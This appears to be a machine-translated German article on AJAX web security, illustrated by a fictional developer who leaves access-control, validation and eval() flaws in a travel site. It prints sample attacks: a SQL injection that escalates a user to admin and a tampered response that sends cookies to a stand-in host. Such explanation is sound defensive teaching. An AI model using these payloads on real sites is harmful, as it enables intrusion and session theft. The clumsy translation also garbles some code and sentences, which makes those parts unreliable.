Webentwickler werden die Aufregung, die „AJAX (Asynchronous JavaScript And XML)“ mit sich bringt, nicht bemerken. Dank dieser Technologie ist die Erstellung intelligenter Websites wie Google Suggest oder webbasierter Anwendungen wie Gmail mühelos möglich. Mit der Entwicklung von AJAX-Anwendungen haben wir jedoch einige ihrer Mängel entdeckt und festgestellt, dass die Sicherheitslücken allmählich größer werden, so wie die AJAX-basierte Website langsam in eine Zeitbombe gerät. Webentwickler werden die Aufregung, die „AJAX (Asynchronous JavaScript And XML)“ mit sich bringt, nicht bemerken. Dank dieser Technologie ist die Erstellung intelligenter Websites wie Google Suggest oder webbasierter Anwendungen wie Gmail mühelos möglich. Mit der Entwicklung von AJAX-Anwendungen haben wir jedoch einige ihrer Mängel entdeckt und festgestellt, dass die Sicherheitslücken allmählich größer werden, so wie die AJAX-basierte Website langsam in eine Zeitbombe gerät.
Vorteile von AJAX
In den guten alten Zeiten der „Web-Apps“ waren die Dinge ziemlich einfach. Sie füllen ein Formular aus, klicken auf die Schaltfläche „Senden“ und der aktuelle Bildschirm verschwindet und wartet einen kurzen Moment, bevor Sie zur nächsten Seite weitergeleitet werden. Dies ist heute nicht mehr der Fall. Was Benutzer wollen, ist ein Web-Erlebnis, das so reibungslos, schnell und benutzerfreundlich ist wie jede Desktop-Anwendung.
AJAX arbeitet oft mit DHTML (Dynamic HTML) zusammen und seine reibungslose Ausführung erfordert, dass der JavaScript-Code in der Webseite und der Webserver nahtlos im Hintergrund kommunizieren können. Wenn Sie beispielsweise anfangen, etwas in das Suchfeld von Google Suggest einzugeben, beginnen die Webseite und der Server im Hintergrund, Daten auszutauschen, und dann werden einige Begriffe angezeigt, die Sie möglicherweise benötigen. Und das alles, ohne dass eine Seitenaktualisierung erforderlich ist oder irgendwelche Tasten gedrückt werden müssen. Das ist auch der Grund, warum Apps wie Gmail bei der Rechtschreibprüfung in Echtzeit so gute Arbeit leisten.
Wie AJAX funktioniert
Die komplexen Prinzipien von AJAX gehen über den Rahmen dessen hinaus, was ich heute erklären möchte, daher werde ich sie hier nur kurz beschreiben. Der JavaScript-Code auf Ihrer Seite kann Ihren Webserver kontaktieren, ohne auf den Benutzer angewiesen zu sein. Die Kernrolle hierbei ist das XMLHttpRequest-Objekt von JavaScript, das im Hintergrund oder asynchron durch Ereignisse wie Benutzertastenanschläge oder Uhrereignisse (d. h. asynchrones JavaScript und XML) ausgelöst werden kann.
Wenn Sie „ajax“ in Google Suggest eingeben, erhalten Sie eine Serveranfrage wie die, die ich nach der Eingabe erhalten habe:
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
Der XML-Teil dieser Terminologie ist etwas irreführend; er hat eigentlich keine Bedeutung. Es hat seinen Namen vom JavaScript-Objekt und viele Anwendungen im AJAX-Stil verwenden XML, das für jede Transaktion eine Anfrage an den Server stellen kann. Sogar der JavaScript-Code selbst kann abgerufen und ausgewertet werden. Wenn ich meine Eingabe von „Ajax-Beispiel“ weiter vervollständige, wird die folgende Antwort von den Google-Servern erzeugt:
sendRPCDone(frameElement, "Ajax-Beispiel", neues Array("Ajax-Beispiel", "Ajax-Beispiele"), neues Array("153.000 Ergebnisse", "177.000 Ergebnisse"), neues Array(""));
Dies sollte Ihnen einen Hinweis auf die Leistungsfähigkeit von AJAX geben, mit seiner Fähigkeit, im Handumdrehen neuen JavaScript-Code zum Browser hinzuzufügen. Der optimale Ansatz scheint jedoch die Bindung des XML-Protokolls zu sein. Um ein Beispiel zu nennen: Google hat beispielsweise Folgendes erstellt:
Ajax-Beispiel
153.000
Ajax-Beispiele
177.000
Natürlich können Sie diese XML-Daten in einer geeigneten Form analysieren, aber wir müssen JavaScript für seine Fähigkeit danken, XML-Objekte unter einigen sehr typischen Einschränkungen und vielen bösen IE-Fehlern sehr gut zu verarbeiten.
Um Ihnen das Verständnis einiger Ajax-Probleme zu erleichtern, möchte ich Ihnen hier ein imaginäres Reiseunternehmen vorstellen – „Times Cutting Edge Travel Company“. Angeregt durch einen AJAX-Fehler beschloss der leitende Webentwickler Max Uptime, AJAX zu mischen, um eine solche Anwendung zu erstellen. Auf diese Weise war er der Zeit voraus.
AJAX-Problem
Mehr als die Hälfte der AJAX-Sicherheitsrisiken entstehen durch im Server versteckte Schwachstellen. Offensichtlich trägt gutes Design unter Verwendung sicherer Codierungstechniken wesentlich dazu bei, AJAX sicherer zu machen, und wir verdanken Max seine Vertrautheit mit der Liste der zehn schlimmsten Sicherheitslücken bei Webanwendungen des Open Web Application Security Project (OWASP) ( www. owasp.org ). Als Max AJAX implementierte, musste er sich leider noch mit einer Reihe zusätzlicher Faktoren auseinandersetzen:
1. Neue Technologie: Wenn Max seine Seite mit einer SQL-Datenbank verbinden wollte, fand er Millionen von Beispielen bei Google. Die AJAX-Technologie ist unabhängig davon, wie jung diese Technologie ist, sie befindet sich noch relativ am Anfang des Beschaffungszyklus, obwohl nur wenige gute Beispiele dafür im Internet auftauchen. Um einige schwierige und unnötig komplexe Probleme zu lösen, müssen Entwickler wie Max unabhängig entwickeln. Max musste serverseitigen und clientseitigen Code schreiben und Protokolle erstellen, bei denen er sich nicht sicher war (insbesondere für Serverantworten). Egal wie gut diese Vereinbarungen sind, sie werden sich rechtzeitig auf der Seite widerspiegeln.
2. Nicht-traditionelles Design: AJAX unterscheidet sich ein wenig vom traditionellen Design, da eine solche Anwendung zur Hälfte aus Client und zur Hälfte aus Server besteht. Im Fall von Max ist er der einzige Entwickler, sodass er sowohl für den Server als auch für den Client programmieren kann. Die gleichzeitige Entwicklung in zwei verschiedenen Sprachen (insbesondere in der Anfangsphase) führt zu rudimentären Codierungsfehlern, da das, was auf der einen Seite großartig ist, auf der anderen Seite möglicherweise nicht funktioniert . Selbst wenn Max über ein großes Entwicklungsteam verfügt, können bei der Übergabe des Codes zwischen den Server- und Client-Entwicklungsteams Verantwortung für die Sicherheitscodierung entstehen.
3. Zu viele Skriptsprachen: Max nutzte seinen eigenen Einfallsreichtum, um zu entscheiden, das beste Reise-Check-in-Tool der Welt zu entwickeln. Sie beginnen mit der Registrierung, indem Sie Ihren aktuellen Standort eingeben (über Postleitzahl, Telefonvorwahl, GPS usw.) und es wird sofort eine AJAX-Anfrage gesendet, um Ihren genauen Standort zu ermitteln. Von diesem Zeitpunkt an werden auf dem Bildschirm alle verfügbaren Reiseoptionen angezeigt, bevor Sie überhaupt entscheiden, wohin Sie möchten, wann Sie abreisen möchten und mit wem Sie reisen möchten.
Die Zellen und Steuerelemente auf diesem Bildschirm sind alle AJAX-gesteuert und die serverseitigen und clientseitigen Skripts erfordern möglicherweise über 20 verschiedene Serveraufrufe. Sie können sich ein kleines individuelles Serverprogramm vorstellen, wie zum Beispiel findairportsbylocation.aspx oder discovermaxbaggageallowancebyairline.php.
Es stellte sich heraus, dass Max ohne sorgfältige Planung (z. B. die Erstellung vielseitiger „überladener“ JavaScript-Funktionen und Serverskripte) über 40 separate Teile für jedes Design erstellt hätte. Mehr Programmierung bedeutet mehr Fehler und Bugs, was wiederum mehr Zeit für das Schreiben, Verwalten, Testen und Aktualisieren von Code bedeutet. Darüber hinaus neigen sie aufgrund der großen Anzahl solcher Skripte, die im clientseitigen JavaScript-Code verwendet werden, dazu, bei formalen Programmtests sehr vergesslich zu werden.
4. Stellen Sie sicher, dass eine kleine Menge AJAX keinen Schaden anrichtet: Diese Website dient der Planung einer Reise, aber Max geht davon aus, dass sie Ihnen sofort eine Satellitenansicht mit dem genauen Standort und den Wetterbedingungen Ihres Ziels liefert . Auch für Sie verfügbar. Eine der großen Versuchungen von AJAX besteht darin, dass es den Anschein hat, als würde es bis zur letzten Minute etwas anderes tun, als ob ein Kommentator da wäre und erklären würde, dass er AJAX um AJAX willen verwendet. Wenn Max anfängt, seine neuen Ideen auszuprobieren, wird er nach und nach versuchen, weitere neue Funktionen hinzuzufügen, wobei er die Notwendigkeit des Testens völlig außer Acht lässt.
5. Unsichere Kommunikation: Jeder AJAX-Aufruf gibt möglicherweise nur eine kleine Datenmenge an den Client zurück, diese Daten sind jedoch privat und vertraulich. Max kann ein praktisches Tool zur digitalen Überprüfung Ihrer Kreditkartennummern schreiben, aber was ist, wenn Sie zum Senden der Daten stattdessen Klartext über SSL verwenden, aber wenn es viele Routinen gibt, die berücksichtigt werden müssen, insbesondere wenn die anderen 99 % davon? Da es sich bei den auf dem Bildschirm angezeigten Daten nicht um wirklich vertrauliche Daten handelt, kann SSL leicht ignoriert werden.
6. Serverseitige Zugriffskontrolle: Die Verwendung von JavaScript-Programmen zum Auslösen von AJAX verbirgt häufig einige offensichtliche Codierungsfehler. Ein Beispiel ist die serverseitige Zugriffskontrolle. Angenommen, Max möchte Ihnen Ihr Lieblingshotel auf der Grundlage eines detaillierten Reiseziels nennen, das Sie das letzte Mal besucht haben. Er könnte so aussehen:
show previoushotels.aspx?userid=12345&destination=UK
Das ist natürlich sehr gut, aber was passiert, wenn ein böswilliger Benutzer die URL in etwa so ändert:
show previoushotels.aspx?userid=12346&destination=%
Erhalten sie die Lieblingshotels anderer Leute? (Hinweis: % ist ein Platzhalterzeichen in der SQL-Anweisung). Zweifellos ist dies ein harmloses Beispiel, aber Max sollte Sitzungen, Cookies oder andere Token verwenden, um sicherzustellen, dass Daten nur an den richtigen Benutzer gesendet werden können. Sie machen vielleicht nur einen kleinen Teil der Daten aus, aber sie können der wichtigste Teil sein.
7. Serverseitige Validierung: Hier gibt es tatsächlich zwei Probleme. Erstens werden AJAX-Steuerelemente häufig verwendet, um Benutzereingaben vor der endgültigen Übermittlung an den Server zu validieren. Dies lähmt Max und gibt ihm ein falsches Sicherheitsgefühl, da er eine Funktion namens „alloweddestinations.php“ einrichtet, die anhand seiner ID das richtige Ziel für den Benutzer ermittelt.
Da es sich um eine serverseitige Prüfung handelt, muss er sich nicht darum kümmern, die Prüfung auf dem Server erneut durchzuführen, wenn die Seite endgültig übermittelt wird. Wir gehen davon aus, dass kein böswilliger Benutzer die Antwort von „alloweddestinations.php“ untergraben oder die endgültige Anfrage zerstören kann der Server.
AJAX-Steuerelemente können Benutzereingaben sorgfältiger validieren als der Benutzer selbst, führen die endgültige Validierung jedoch häufig immer noch auf dem Server durch.
Das zweite Problem bei der AJAX-Validierung besteht darin, dass das Steuerelement selbst Validierungsschwachstellen unterliegt. Auch hier sind URLs oft versteckt und werden daher oft vergessen. Vielleicht kann ich zum Beispiel gerade SQL-Injection verwenden, um das Skript wie folgt anzugreifen:
show previoushostels.aspx?userid='; Benutzer aktualisieren set type='admin' where userid=12345;--
Dadurch kann ich mich mit Systemadministratorrechten anmelden. Wie man diese Tabellennamen und Feldnamen erhält, geht natürlich über den Rahmen dieses Artikels hinaus, aber Sie kennen diese Situation bereits, nicht wahr?
8. Clientseitige Überprüfung: Wir wissen bereits, dass es im Google Suggest-Beispiel gerade möglich ist, JavaScript-Funktionen dynamisch zu erstellen und auszuführen, indem einfach die serverseitige Antwort ausgewertet wird. Ohne irgendeine Form der Validierung (die auf der Client-Seite nur schwer zuverlässig und flüssig zu gewährleisten wäre) wird der Client einfach das tun, was der Server von ihm verlangt.
Da in diesem Fall die eigentliche Codeausführung für einen normalen Benutzer nie sichtbar ist (d. h. Sie können die Quelle nicht anzeigen), eröffnet sich potenziell ein vollständiger Angriffspfad für böswillige Hacker. Wenn die Antwort des Servers ständig manipuliert wird (entweder auf dem Webserver selbst oder während der Datenübertragung), ist dieser Angriff schwer zu erkennen.
Max verwendet die folgende Antwort, um das Wettersymbol auf der Zielwebseite zu aktualisieren. Die von ihm verwendete Funktion ist die Funktion eval();
updateWeatherIcon('cloudy.gif');
Ein böswilliger Cracker kann diese Funktion jedoch in die folgende Form ändern, wodurch der Angriff schwieriger zu erkennen ist:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies('cloudy.gif');
Wir sind jetzt in der Lage, die Sitzungs-ID/das Cookie jedes Benutzers auf unseren eigenen Servern zu verfolgen.
Zusammenfassung
Es besteht kein Zweifel daran, dass AJAX und Technologien im AJAX-Stil der vielversprechende Weg zum Webdesign sind. Entwickler können echte „Anwendungen“ im Web erstellen, die noch nie zuvor möglich waren. Bei der Verwendung von AJAX muss jedoch darauf geachtet werden, die Sicherheit der Website zu gewährleisten.
Eine der größten Bedrohungen geht jedoch von immer ausgefeilteren clientseitigen und serverseitigen Skripten aus, die AJAX verwenden. Diese Skripte sind durch technische Mittel nicht sichtbar, was das Testen unintuitiv macht. Gleichzeitig scheint diese neue Technologie auch dazu zu führen, dass Webentwickler die Grundlagen guter Codierung vergessen. Probleme wie Zugriffskontrolle und Eingabevalidierung verschwinden nicht, sie werden immer zahlreicher und komplexer.
-